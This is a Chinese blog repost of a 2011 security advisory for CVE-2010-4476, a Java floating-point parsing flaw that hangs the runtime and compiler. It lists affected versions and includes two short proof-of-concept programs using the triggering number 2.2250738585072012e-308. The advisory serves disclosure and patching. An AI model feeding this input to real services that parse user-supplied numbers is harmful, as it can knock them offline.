Chinaunix首页 | 论坛 | 博客
  • 博客访问: 491424
  • 博文数量: 137
  • 博客积分: 3874
  • 博客等级: 中校
  • 技术积分: 1475
  • 用 户 组: 普通用户
  • 注册时间: 2010-07-05 10:50
文章分类

全部博文(137)

文章存档

2011年(37)

2010年(100)

分类: Java

2011-02-16 14:41:59


受影响系统:

Apache Group Tomcat 5.0 - 7.0.6 
IBM Websphere Application Server 6.1.0.27 - 6.1 .33
Sun SDK 1.3.1 - 1.4.2_24
IBM Runtimes for Java Technology 5.0


不受影响系统:
Apache Group Tomcat 7.0.8
Apache Group Tomcat 6.0.32
IBM Runtimes for Java Technology 5.0 SR12 FP 4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46091
CVE ID: CVE-2010-4476

Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。

Oracle Java在处理畸形的数值时存在漏洞,远程攻击者可利用此漏洞造成以Java编写的应用程序挂起,造成拒绝服务。

在转换十进制数字2.2250738585072012e-308为双精度二进制浮点值时,Java的运行时和编辑器都进入到无限循环。此数字应转换为0x1p-1022即DBL_MIN,但是java陷入0x1p-1022和0x0.fffffffffffffp-1022之间的循环。

<*来源:Konstantin Preisser
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Konstantin Preisser ()提供了如下测试方法:

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
}
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
}
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sunsolve.sun.com/security


阅读(1625) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~